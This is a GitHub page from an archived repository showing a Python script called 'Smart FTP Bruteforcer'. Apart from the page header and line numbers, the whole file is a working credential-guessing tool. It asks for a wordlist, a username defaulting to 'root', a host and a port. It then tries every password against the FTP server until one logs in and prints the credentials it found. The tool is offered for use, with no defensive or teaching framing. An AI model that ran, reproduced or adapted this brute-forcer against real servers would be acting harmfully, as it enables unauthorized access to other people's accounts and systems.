This repository has been archived by the owner on Apr 19, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathsmartftpbruteforcer.py
200 lines (167 loc) · 5.4 KB
/
smartftpbruteforcer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
import ftplib
import socketserver
import socket
from ftplib import FTP
import ftplib
import sys
from threading import Thread
import queue
import requests
import time
import sys
import os
import whois
import string
from string import punctuation
import random
import zipfile
import urllib
from urllib.request import urlopen
from bs4 import BeautifulSoup
import ftplib
from threading import Thread
import queue
# The Smart FTP Bruteforcer by @Coroxx on github
host = None
user = None
port = None
COLORS = {\
"black":"\u001b[30;1m",
"red": "\u001b[31;1m",
"green":"\u001b[32m",
"yellow":"\u001b[33;1m",
"lightgreen" : "\u001b[38;5;82m",
"blue":"\u001b[34;1m",
"magenta":"\u001b[35m",
"cyan": "\u001b[36m",
"white":"\u001b[37m",
"yellow-background":"\u001b[43m",
"black-background":"\u001b[40m",
"cyan-background":"\u001b[46;1m",
}
def colorText(text):
for color in COLORS:
text = text.replace("[[" + color + "]]", COLORS[color])
return text
def banner() :
a = open("Banner/ftpcrackbanner.txt","r")
ascii = "".join(a.readlines())
print (colorText(ascii))
url = "http://www.google.com" #Je définit l'url de test
timeout = 5 # Timeout de 5 secondes
#Puis le test d'une requête sur l'url
try:
request = requests.get(url, timeout=timeout)
print(colorText("[[green]]\n\n[+] Internet : [CONNECTED]\n"))
print(colorText("[[red]][!] This script must be run on full screen for optimal use. ! "))
print(colorText("[[red]][!] This script must be run on full screen for optimal use. ! "))
time.sleep(3)
os.system('clear')
except (requests.ConnectionError, requests.Timeout) as exception:
print(colorText(' [-][[red]]Internet [NOT CONNECTED] '))
print(colorText(' [[green]] ✘ [[red]] You must be connected to internet to start this script [[green]] ✘'))
time.sleep(5)
sys.exit()
def password():
global wordlist
wordlist = input(colorText("\n[[cyan]][ ? ] Wordlist (ex wordlist.txt) : "))
if '.txt' in wordlist :
print('')
else :
print(colorText("[[red]]\n[-] Wrong format !! Must end with .txt"))
password()
print(colorText("[[green]]\n[+] Wordlist has been set to : "), wordlist)
correct = input(colorText("\n[[yellow]][ ? ] Is it right ? [y/n] "))
if correct == 'y':
print('')
else :
password()
def username() :
global user
user = input(colorText('[[magenta]]\n[ ? ] Username (Press enter to set to "root") : '))
if user == '' :
user = 'root'
print (colorText("[[green]]\n[+] Username has been set to : "), user)
correct = input(colorText("[[yellow]]\n[ ? ] Is it right ? [y/n] "))
if correct == 'y' :
print('')
else :
username()
def hostname() :
global host
host = input(colorText("[[cyan]]\n[ ? ] Hostname (IP Adress or domain) : "))
if "." in host :
print('')
else :
print(colorText("[[red]]\n[!] Wrong format !"))
hostname()
print(colorText('[[green]]\nHostname has been set to'), host)
correct = input(colorText("[[yellow]]\n[!] Is it right ? [y/n] "))
if correct == 'y' :
print('')
else :
hostname()
def portt() :
global port
try :
port = int(input(colorText("[[yellow]]\n[ ? ] Port : ")))
except ValueError :
print(colorText("[[red]][!] Wrong format "))
portt()
if port != 21 :
print(colorText("[[red]]\n[!] Your port isn't 21, maybe the script won't work propely "))
else :
pass
correct = input(colorText("[[yellow]]\n[!] Is it right ? [y/n] "))
if correct == 'y' :
pass
else :
portt()
def hub():
banner()
hubchoice1 = input(colorText("[[cyan]]\n[ 1 ] Smart FTP Forcebruter\n[ 2 ] Exit\n\n[ ? ] Choice : "))
try :
val = int(hubchoice1)
except ValueError :
print(colorText("[[red]][-] Wrong choice !!"))
hub()
if val >= 3 :
print(colorText('[[red]] Wrong choice !!'))
if val == 2 :
os.system('sudo python3 smartool.py')
elif val == 1 :
hub1()
def hub1() :
password()
username()
hostname()
portt()
pass
def is_correct(password):
server = ftplib.FTP()
print("\n[!] Trying", password)
try:
server.connect(host, port, timeout=3)
server.login(user, password)
except (ftplib.error_perm, TimeoutError, socket.timeout):
return False
else:
print(colorText("[[green]]\n[+] Found credentials !!"))
print(colorText("\nHostname : "),host,"\nUsername : ",user,"\nPassword : ",password, "\n ")
return True
hub()
passwords = open(wordlist).read().split("\n")
passwordcount = len(passwords)
minn = 30
hour = 1800
result = passwordcount // hour
result1 = passwordcount // minn
if result > 1800 :
hourr = 'hours'
elif result < 1800 :
hourr = 'hour'
print(colorText("\n[[green]]Reading password file.\nReading password file..\nReading password file...\n\n[+] Done !\n\n[!] Script have to try "), len(passwords), "passwords",(colorText("[[yellow]]\n\nApproximate time to finish this list : ")), result,hourr,result1 ,"minutes\n\n" )
time.sleep(2)
for password in passwords:
if is_correct(password):
break